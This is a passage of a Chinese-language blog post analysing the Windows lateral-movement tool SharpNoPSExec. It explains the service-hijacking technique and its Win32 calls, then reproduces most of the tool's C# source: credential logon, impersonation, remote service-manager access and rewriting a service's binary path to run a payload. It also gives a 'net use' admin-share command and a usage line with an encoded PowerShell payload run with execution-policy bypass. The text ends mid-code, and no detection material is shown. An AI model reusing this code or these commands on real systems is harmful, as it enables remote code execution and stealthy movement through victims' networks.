新型横向移动工具原理分析、代码分析、优缺点以及检测方案
新横向移动工具:
Twitter上看到新的横移工具,无需创建服务、无需文件落地,远比PsExec来的难以检测,我们针对这一工具进行原理分析、代码分析、优缺点评估以及检测方案:
- 工具名称:SharpNoPSExec
- 工具作者:juliourena
- 下载地址:SharpNoPSExec
- 本人修改Python简单版本的下载地址:PyNoPSExec
基本原理分析:
Windows服务中,每一服务都有一个可执行文件路径,这个地方可以替换成命令进行命令执行,而且这个可以远程管理,当然这里肯定需要管理员权限,不然就成了RCE漏洞了。
我们可以远程写代码去寻找到一个处于不启动、需要手动启动,没有其他依赖关系的服务,改变这个可执行文件路径,从而执行我们的命令。
代码分析:
先介绍一下几个关键函数
OpenSCManagerW:
SC_HANDLE OpenSCManagerW(
LPCWSTR lpMachineName,
LPCWSTR lpDatabaseName,
DWORD dwDesiredAccess
);
小贴士:如果第一个参数填写的是对端也就是横移目标的IP地址或机器名,需要首先在运行程序以前建立一个管理员权限,不仅仅需要知道账号密码,如何建立呢,答案也简单,建立一个共享映射
net use \\xx.xx.xx.xx\admin$ "password" /user:username
然后调用两个函数LogonUserA进行凭据认证,然后进行权限模拟,还是调用我们的老朋友:ImpersonateLoggedOnUser。该函数允许用户模拟其他用户的权限进行一些操作。
ChangeServiceConfig:
函数原型:
BOOL ChangeServiceConfigA(
SC_HANDLE hService,
DWORD dwServiceType,
DWORD dwStartType,
DWORD dwErrorControl,
LPCSTR lpBinaryPathName,
LPCSTR lpLoadOrderGroup,
LPDWORD lpdwTagId,
LPCSTR lpDependencies,
LPCSTR lpServiceStartName,
LPCSTR lpPassword,
LPCSTR lpDisplayName
);
当然需要先导入函数:
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);
修改举例:
string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);
然后开启服务
函数原型:
BOOL StartServiceA(
SC_HANDLE hService,
DWORD dwNumServiceArgs,
LPCSTR *lpServiceArgVectors
);
流程分析:
登录用户 —–> 打开远程服务 —–> 设置服务执行程序为我们的 payload —–> 开启服务
程序源代码:
然后给出源代码
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Threading;
namespace SharpNoPSExec
{
class ProgramOptions
{
/*参数类,主要就是用来获取命令行参数*/
public string target;
public string username;
public string password;
public string payload;
public string service;
public string domain;
public ProgramOptions(string uTarget = "", string uPayload = "", string uUsername = "", string uPassword = "", string uService = "", string uDomain = ".")
{
target = uTarget;
username = uUsername;
password = uPassword;
payload = uPayload;
service = uService;
domain = uDomain;
}
}
class Program
{
[StructLayout(LayoutKind.Sequential)]
private struct QUERY_SERVICE_CONFIG
{
public uint serviceType;
public uint startType;
public uint errorControl;
public IntPtr binaryPathName;
public IntPtr loadOrderGroup;
public int tagID;
public IntPtr dependencies;
public IntPtr startName;
public IntPtr displayName;
}
public struct ServiceInfo
{
public uint serviceType;
public uint startType;
public uint errorControl;
public string binaryPathName;
public string loadOrderGroup;
public int tagID;
public string dependencies;
public string startName;
public string displayName;
public IntPtr serviceHandle;
}
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean ChangeServiceConfig(/*导入关键函数,下面的导入函数不在一一分析*/
IntPtr hService,
UInt32 nServiceType,
UInt32 nStartType,
UInt32 nErrorControl,
String lpBinaryPathName,
String lpLoadOrderGroup,
IntPtr lpdwTagId,
String lpDependencies,
String lpServiceStartName,
String lpPassword,
String lpDisplayName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(
IntPtr hSCManager,
string lpServiceName,
uint dwDesiredAccess);
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(
string machineName,
string databaseName,
uint dwAccess);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean QueryServiceConfig(
IntPtr hService,
IntPtr intPtrQueryConfig,
UInt32 cbBufSize,
out UInt32 pcbBytesNeeded);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(
IntPtr hService,
int dwNumServiceArgs,
string[] lpServiceArgVectors);
[DllImport("advapi32.dll")]
public static extern bool LogonUserA(
string lpszUsername,
string lpszDomain,
string lpszPassword,
int dwLogonType,
int dwLogonProvider,
ref IntPtr phToken
);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
private const uint SERVICE_NO_CHANGE = 0xFFFFFFFF;
private const uint SERVICE_DEMAND_START = 0x00000003;
private const uint SERVICE_DISABLED = 0x00000004;
private const uint SC_MANAGER_ALL_ACCESS = 0xF003F;
enum LOGON_TYPE
{
LOGON32_LOGON_INTERACTIVE = 2,
LOGON32_LOGON_NETWORK = 3,
LOGON32_LOGON_BATCH = 4,
LOGON32_LOGON_SERVICE = 5,
LOGON32_LOGON_UNLOCK = 7,
LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
LOGON32_LOGON_NEW_CREDENTIALS = 9
}
public enum LOGON_PROVIDER
{
/// <summary>
/// Use the standard logon provider for the system.
/// The default security provider is negotiate, unless you pass NULL for the domain name and the user name
/// is not in UPN format. In this case, the default provider is NTLM.
/// NOTE: Windows 2000/NT: The default security provider is NTLM.
/// </summary>
LOGON32_PROVIDER_DEFAULT = 0,
LOGON32_PROVIDER_WINNT35 = 1,
LOGON32_PROVIDER_WINNT40 = 2,
LOGON32_PROVIDER_WINNT50 = 3
}
public static ServiceInfo GetServiceInfo(string ServiceName, IntPtr SCMHandle)
{
/*定义一个服务信息查询函数,用来查询服务的基本状态,方便进行筛选和事后恢复*/
Console.WriteLine($" |-> Querying service {ServiceName}");
ServiceInfo serviceInfo = new ServiceInfo();
try
{
IntPtr serviceHandle = OpenService(SCMHandle, ServiceName, 0xF01FF);
uint bytesNeeded = 0;
QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
IntPtr qscPtr = IntPtr.Zero;
bool retCode = QueryServiceConfig(serviceHandle, qscPtr, 0, out bytesNeeded);
if (!retCode && bytesNeeded == 0)
{
throw new Win32Exception();
}
else
{
qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded);
retCode = QueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded);
if (!retCode)
{
throw new Win32Exception();
}
qsc.binaryPathName = IntPtr.Zero;
qsc.dependencies = IntPtr.Zero;
qsc.displayName = IntPtr.Zero;
qsc.loadOrderGroup = IntPtr.Zero;
qsc.startName = IntPtr.Zero;
qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG));
}
serviceInfo.binaryPathName = Marshal.PtrToStringAuto(qsc.binaryPathName);
serviceInfo.dependencies = Marshal.PtrToStringAuto(qsc.dependencies);
serviceInfo.displayName = Marshal.PtrToStringAuto(qsc.displayName);
serviceInfo.loadOrderGroup = Marshal.PtrToStringAuto(qsc.loadOrderGroup);
serviceInfo.startName = Marshal.PtrToStringAuto(qsc.startName);
serviceInfo.errorControl = qsc.errorControl;
serviceInfo.serviceType = qsc.serviceType;
serviceInfo.startType = qsc.startType;
serviceInfo.tagID = qsc.tagID;
serviceInfo.serviceHandle = serviceHandle; // Return service handler
Marshal.FreeHGlobal(qscPtr);
}
catch (Exception)
{
string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("\n[!] GetServiceInfo failed. Error: {0}", errorMessage);
Environment.Exit(0);
}
return serviceInfo;
}
public static void PrintBanner()
{
Console.WriteLine(@"
███████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ ██████╗ ██████╗ ███████╗███████╗██╗ ██╗███████╗ ██████╗
██╔════╝██║ ██║██╔══██╗██╔══██╗██╔══██╗████╗ ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝╚██╗██╔╝██╔════╝██╔════╝
███████╗███████║███████║██████╔╝██████╔╝██╔██╗ ██║██║ ██║██████╔╝███████╗█████╗ ╚███╔╝ █████╗ ██║
╚════██║██╔══██║██╔══██║██╔══██╗██╔═══╝ ██║╚██╗██║██║ ██║██╔═══╝ ╚════██║██╔══╝ ██╔██╗ ██╔══╝ ██║
███████║██║ ██║██║ ██║██║ ██║██║ ██║ ╚████║╚██████╔╝██║ ███████║███████╗██╔╝ ██╗███████╗╚██████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝
Version: 0.0.2
Author: Julio Ureña (PlainText)
Twitter: @juliourena
");
}
public static void PrintHelp()
{
Console.WriteLine(@"Usage:
SharpNoPSExec.exe --target=192.168.56.128 --payload=""c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ZQBjAGgAbwAgAEcAbwBkACAAQgBsAGUAcwBzACAAWQBvAHUAIQA=""
Required Arguments:
--target= - IP or machine name to attack.
--payload= - Payload to execute in the target machine.
Optional Arguments:
--username= - Username to authenticate to the remote computer.
--password= - Username's password.
--domain= - Domain Name, if no set a dot (.) will be used instead.
--service= - Service to modify to execute the payload, after the payload is completed the service will be restored.
Note: If not service is specified the program will look for a random service to execute.
Note: If the selected service has a non-system account this will be ignored.
--help - Print help information.
");
}
static void Main(string[] args)
{
/*主函数开始*/
// example from https://github.com/s0lst1c3/SharpFinder
ProgramOptions options = new ProgramOptions();
foreach (string arg in args)